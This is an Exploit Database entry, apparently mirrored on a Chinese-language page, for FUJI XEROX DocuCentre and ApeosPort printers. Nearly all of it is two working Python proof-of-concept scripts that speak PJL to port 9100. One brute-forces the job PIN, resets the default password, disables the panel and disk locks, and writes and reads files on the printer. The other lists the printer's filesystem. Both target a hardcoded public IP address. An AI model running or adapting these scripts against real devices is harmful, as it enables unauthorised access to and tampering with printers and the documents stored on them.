FUJI XEROX DocuCentre-V 3065 Printer – Remote Command Execution

• Exploit Database
• 129 阅读

• 作者： vr_system
  日期： 2018-09-05
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/45332/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95

  # Exploit Title: FUJI XEROX DocuCentre-V 3065 Printer - Remote Command Execution # Date: 2018-09-05 # Exploit Author: vr_system # Vendor Homepage: https://www.fujixerox.com.cn/ # Software Link: https://www.fujixerox.com.cn/ # Version: DocuCentre-IV,DocuCentre-VI,DocuCentre-V,ApeosPort-VI,ApeosPort-V # Tested on: DocuCentre-V 3065,ApeosPort-VI C3371,ApeosPort-V C4475,ApeosPort-V C3375,DocuCentre-VI C2271,ApeosPort-V C5576,DocuCentre-IV C2263,DocuCentre-V C2263,ApeosPort-V 5070 # CVE : N/A #POC：Ability to write files to the printer #!/usr/bin/env python # -*- coding: UTF-8 -*- import socket import time PJL_START = "\033%-12345X@PJL " PJL_FINISH = "\033%-12345X\r\n"   def Buildsocket(ip,port=9100): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) sock.settimeout(5) try: sock.connect((ip, port)) except: print "[!*]-ip-%s-can't connect--" % ip return 'error' for i in range(500): print"bypass pin:{0}".format(i) PJL_INFO_ID = """JOB PASSWORD={0}\r\n""".format(i) DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) PJL_INFO_ID = """DEFAULT PASSWORD=0\r\n""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID)   PJL_INFO_ID = """DEFAULT CPLOCK=OFF\r\n""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) PJL_INFO_ID = """DEFAULT DISKLOCK=OFF\r\n""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID)   PJL_INFO_ID = """FSDOWNLOAD FORMAT:BINARY SIZE=4 NAME="0:/test4"\r\n""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) try: device = sock.recv(1024) except:pass PJL_INFO_ID = """FSUPLOAD NAME="0:/test4" OFFSET=0 SIZE=4\r\n""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) try: device = sock.recv(1024) except:pass finally: sock.close() print "OK"   if __name__ == '__main__': ip = "118.42.125.192" Buildsocket(ip, port=9100)   # POC：Ability to view files in the printer ##!/usr/bin/env python # -*- coding: UTF-8 -*- import socket PJL_START = "\033%-12345X@PJL " PJL_FINISH = "\033%-12345X\r\n"   def Buildsocket(ip, port=9100): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) sock.settimeout(5) try: sock.connect((ip, port)) except: print "[!*]-ip-%s-can't connect--" % ip return 'error' PJL_INFO_ID = """FSDIRLIST NAME="0:/" ENTRY=1 COUNT=65535""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) try: device = sock.recv(1024) except:pass PJL_INFO_ID = """FSDIRLIST NAME="0:/" ENTRY=1""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID)# try: device = sock.recv(1024) except: return 'No' print "[!*]-ip-%s-is-ok\r\ndeviceidis-%s" % (str(ip), device) sock.close() return 'OK' if __name__ == '__main__': Buildsocket("118.42.125.192", port=9100)